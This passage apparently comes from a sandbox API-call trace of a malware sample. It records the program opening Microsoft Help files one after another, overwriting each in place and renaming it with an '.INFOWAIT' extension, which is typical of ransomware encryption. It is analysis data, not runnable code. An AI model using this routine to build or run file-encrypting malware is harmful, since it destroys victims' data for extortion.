lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.INFOWAIT" [0116.694] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn.infowait")) returned 1 [0116.695] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.696] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.696] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.696] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.697] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16a [0116.697] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.697] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.700] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16a, lpOverlapped=0x0) returned 1 [0116.703] VirtualAlloc (lpAddress=0x0, dwSize=0x16a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.703] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.703] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x16a, lpOverlapped=0x0) returned 1 [0116.703] CloseHandle (hObject=0xad0) returned 1 [0116.707] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" [0116.707] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.INFOWAIT" [0116.707] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.dev.14.1033.hxn.infowait")) returned 1 [0116.708] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.710] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.710] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.710] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.712] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x158 [0116.712] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.712] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.712] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x158, lpOverlapped=0x0) returned 1 [0116.715] VirtualAlloc (lpAddress=0x0, dwSize=0x158, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.715] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.715] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x158, lpOverlapped=0x0) returned 1 [0116.715] CloseHandle (hObject=0xad4) returned 1 [0116.717] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" [0116.717] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.INFOWAIT" [0116.717] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn.infowait")) returned 1 [0116.718] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.719] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.719] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.720] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.721] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x170 [0116.721] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.721] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.721] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x170, lpOverlapped=0x0) returned 1 [0116.723] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.724] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.724] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x170, lpOverlapped=0x0) returned 1 [0116.732] CloseHandle (hObject=0xad0) returned 1 [0116.733] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" [0116.733] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.INFOWAIT" [0116.733] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn.infowait")) returned 1 [0116.734] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.735] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.735] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.735] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.735] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x152 [0116.735] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.736] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.736] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x152, lpOverlapped=0x0) returned 1 [0116.737] VirtualAlloc (lpAddress=0x0, dwSize=0x152, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.738] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.738] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x152, lpOverlapped=0x0) returned 1 [0116.738] CloseHandle (hObject=0xad0) returned 1 [0116.742] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" [0116.742] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn.INFOWAIT" [0116.742] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn.infowait")) returned 1 [0116.743] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.744] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.744] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.744] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.746] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x146 [0116.746] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.746] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.746] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x146, lpOverlapped=0x0) returned 1 [0116.749] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.749] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.749] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x146, lpOverlapped=0x0) returned 1 [0116.749] CloseHandle (hObject=0xad4) returned 1 [0116.750] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" [0116.750] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn.INFOWAIT" [0116.750] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.visio.14.1033.hxn.infowait")) returned 1 [0116.751] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.752] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.752] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.752] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.753] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15e [0116.753] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.753] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.753] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15e, lpOverlapped=0x0) returned 1 [0116.756] VirtualAlloc (lpAddress=0x0, dwSize=0x15e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.756] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.756] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x15e, lpOverlapped=0x0) returned 1 [0116.757] CloseHandle (hObject=0xad4) returned 1 [0116.759] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" [0116.759] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.INFOWAIT" [0116.759] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.visio.dev.14.1033.hxn.infowait")) returned 1 [0116.759] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.761] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.761] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.761] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0116.761] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x188 [0116.761] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.762] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.762] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x188, lpOverlapped=0x0) returned 1 [0116.766] VirtualAlloc (lpAddress=0x0, dwSize=0x188, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.767] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.767] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x188, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x188, lpOverlapped=0x0) returned 1 [0116.767] CloseHandle (hObject=0xad4) returned 1 [0116.771] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" [0116.771] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.INFOWAIT" [0116.771] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn.infowait")) returned 1 [0116.771] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.772] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.773] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.773] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.774] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15e [0116.774] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.775] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.775] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15e, lpOverlapped=0x0) returned 1 [0116.778] VirtualAlloc (lpAddress=0x0, dwSize=0x15e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.779] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.779] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x15e, lpOverlapped=0x0) returned 1 [0116.779] CloseHandle (hObject=0xad0) returned 1 [0116.783] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" [0116.783] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.INFOWAIT") returned="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.INFOWAIT" [0116.783] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn.INFOWAIT" (normalized: "c:\\programdata\\microsoft help\\ms.visio_prm.14.1033.hxn.infowait")) returned 1 [0116.783] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.784] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.785] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0116.785] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0116.785] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x15e [0116.785] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0116.785] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.786] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x15e, lpOverlapped=0x0) returned 1 [0116.789] VirtualAlloc (lpAddress=0x0, dwSize=0x15e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0116.789] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.789] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x15e, lpOverlapped=0x0) returned 1 [0116.789] CloseHandle (hObject=0xad0) returned 1 [0116.797] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" | out: 